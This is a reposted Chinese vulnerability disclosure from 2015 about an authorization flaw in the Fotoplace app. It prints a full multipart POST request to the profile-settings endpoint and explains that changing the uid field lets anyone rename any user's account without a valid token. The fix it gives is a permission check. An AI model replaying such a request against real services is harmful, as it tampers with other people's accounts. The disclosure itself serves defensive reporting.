频道栏目
首页 > 资讯 > 系统安全 > 正文

某APP越权可修改任意用户的昵称

15-04-29        来源:[db:作者]  
收藏   我要投稿

没事对比较热门的APP足记(fotoplace)简单的看了看,发现有一处越权的存在。

 

1.png

问题出现在修改任意用户的profile
 

POST http://fotoplace.cc/api2/user%2Fuser_change_settings.php HTTP/1.1
Content-Type: multipart/form-data; boundary=9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Length: 1026
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; GT-P7510 Build/IMM76D)
Host: fotoplace.cc
Connection: Keep-Alive
Accept-Encoding: gzip

--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="version"
Content-Type: text/plain; charset=UTF-8
Content-Length: 3
Content-Transfer-Encoding: binary

2.3
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="uid"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary

1658128
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="userName"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary

davex_9
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="location"
Content-Type: text/plain; charset=UTF-8
Content-Length: 6
Content-Transfer-Encoding: binary

China 
--9d78dba9-06a9-4812-a428-8ae3a987e71d
Content-Disposition: form-data; name="description"
Content-Type: text/plain; charset=UTF-8
Content-Length: 21
Content-Transfer-Encoding: binary

随便写点什么吧
--9d78dba9-06a9-4812-a428-8ae3a987e71d--


把ID修改了就可以POST了,有token和没token都可以。


已经测试了一个帐号,为了让足记更好的发展,我就不继续测试下去了 :-)

解决方案:

验证权限

 
相关TAG标签
上一篇:光纤传输波分组网技术方案
下一篇:傲游浏览器远程代码执行漏洞/盗取Cookie
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站